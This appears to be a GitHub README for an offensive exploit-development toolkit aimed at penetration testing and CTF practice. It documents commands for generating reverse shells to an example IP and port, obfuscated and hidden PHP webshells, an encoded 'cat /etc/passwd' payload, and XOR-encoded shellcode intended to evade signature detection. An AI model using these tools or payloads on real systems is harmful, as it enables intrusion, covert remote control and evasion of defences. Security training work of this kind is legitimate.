A modular exploit development toolkit for penetration testing and CTF challenges. Contains four independent tools for protocol fuzzing, payload generation, ROP construction, and shellcode encoding.
git clone https://github.com/ridhinva/Exploit-Dev-Toolkit.git
cd Exploit-Dev-Toolkit
chmod +x *.pyNo external dependencies required — all tools use Python 3 standard library only.
TCP protocol fuzzer that generates mutations from a base payload and sends them to a target service. Detects potential crashes via socket timeout.
python fuzzer.py tcp <host> <port> [--count N]
Paste or type the base payload, then Ctrl+D. The fuzzer applies random mutations and sends them.
python fuzzer.py edge <type>
Generate edge-case payloads without sending. Types: strings, numbers, special, all.
# Fuzz an HTTP server on port 8080
echo -e "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | python fuzzer.py tcp 127.0.0.1 8080 --count 100
# Generate edge-case strings
python fuzzer.py edge strings
# Generate all edge cases
python fuzzer.py edge allThe fuzzer reads a base payload and applies one of five random mutation strategies each iteration:
| Strategy | Description |
|---|---|
| bitflip | Flips random bits in the payload bytes |
| byte_add | Inserts random bytes at a random position |
| byte_remove | Removes random bytes from the payload |
| block_insert | Inserts a large random block of bytes |
| repeat | Repeats the entire payload N times |
Each mutated payload is sent over TCP with a 3-second timeout. If the server closes the connection or stops responding, it's flagged as a potential crash. The edge case generator produces boundary values: long strings, null bytes, format specifiers, numeric boundaries (INT_MIN/MAX, infinities, NaN), and control characters.
Generates reverse shell one-liners in multiple languages, encodes arbitrary payloads, and creates PHP webshells.
# Generate reverse shell
python payload_generator.py <ip> <port> [--lang <lang>]
# Encode a payload
python payload_generator.py --encode <payload> [method]
# Generate PHP webshell
python payload_generator.py --webshell [variant]# Generate a bash reverse shell for 10.0.0.1:4444
python payload_generator.py 10.0.0.1 4444 --lang bash
# Generate a Python3 reverse shell
python payload_generator.py 10.0.0.1 4444 --lang python3
# PowerShell reverse shell for Windows targets
python payload_generator.py 10.0.0.1 4444 --lang powershell
# Encode a payload in hex
python payload_generator.py --encode "cat /etc/passwd" hex
# Generate an obfuscated PHP webshell
python payload_generator.py --webshell obfuscated
# Hidden variant (hex2bin-based)
python payload_generator.py --webshell hiddenSupported --lang values: bash, python3, php, perl, nc, powershell.
Encoding methods: base64 (default), hex, url.
Webshell variants: basic (plain system()), obfuscated (string concatenation), hidden (hex2bin decode).
Reverse shells are pre-defined templates with {ip} and {port} placeholders. The chosen template is formatted, printed as a one-liner, and also encoded in base64, hex, and URL form for flexibility.
Encoding wraps a payload string through base64.b64encode(), .hex(), or urllib.parse.quote().
PHP webshells use progressively more obfuscated approaches: from raw system($_GET["cmd"]) through string-concatenated function names to hex2bin-based function resolution.
Documentation-first reference tool for Return-Oriented Programming exploitation techniques.
python rop_builder.py # Print all references
python rop_builder.py --rop # ROP only
python rop_builder.py --ret2libc # ret2libc only
python rop_builder.py --srop # SROP only
python rop_builder.py --check <binary> # Scan binary for common gadgets# Print full ROP reference
python rop_builder.py
# Check a binary for common gadgets (pop rdi; ret, syscall; ret, etc.)
python rop_builder.py --check /bin/lsrop_builder.py is primarily a documentation tool. It prints detailed reference guides covering:
-
ROP (Return-Oriented Programming): Chaining gadgets (instruction sequences ending in
ret) to execute arbitrary code without shellcode. Covers common x64 gadgets (pop rdi; ret,syscall; ret), chain construction, and tool recommendations (ROPgadget, ropper, pwntools). -
ret2libc: Redirecting execution to libc functions (
system,execve) while bypassing NX. Covers ASLR bypass strategies, the classic x86 approach vs. modern x64 calling convention, and libc version identification. -
SROP (Sigreturn-Oriented Programming): Using the
sigreturnsyscall to set ALL CPU registers from a fake signal frame on the stack — requiring only a singlesyscall; retgadget.
The --check flag performs a naive byte-sequence scan for common gadget signatures in any binary file.
Documentation-first reference tool for shellcode encoding techniques, with practical generation utilities.
python shellcode_encoder.py # Print all references
python shellcode_encoder.py --xor # XOR encoding reference
python shellcode_encoder.py --alphanumeric # Alphanumeric reference
python shellcode_encoder.py --nop # NOP sled reference
python shellcode_encoder.py --xor-encode <hex> # XOR-encode shellcode
python shellcode_encoder.py --nop-gen <count> # Generate NOP sled# XOR-encode shellcode with default key (0x55)
python shellcode_encoder.py --xor-encode 4831c0b0024889c7
# XOR-encode with custom key
python shellcode_encoder.py --xor-encode 4831c0b0024889c7 --key 0x42
# Generate a 64-byte mixed NOP sled
python shellcode_encoder.py --nop-gen 64 --variant mixed
# Generate a multi-byte NOP sled
python shellcode_encoder.py --nop-gen 64 --variant multishellcode_encoder.py is primarily a documentation tool. It prints detailed reference guides covering:
-
XOR Encoding: XOR-ing each shellcode byte with a single key (or multi-byte rolling key) to evade signature detection. Includes a working encoder (
--xor-encode) that outputs hex-encoded shellcode with the specified key. -
Alphanumeric Shellcode: Restricting shellcode to printable ASCII (0x20–0x7E) to bypass input filters. Covers available x86 instructions in the printable range (PUSH/POP variants, arithmetic with printable immediates) and self-modifying code techniques.
-
NOP Sleds: Sequences of no-operation instructions placed before shellcode to increase exploit reliability. Three variants can be generated:
Variant Description basicStandard 0x90 NOP bytes mixedRandom mix of single-byte NOP-like instructions multiModern multi-byte NOP instructions (2–5 bytes)
MIT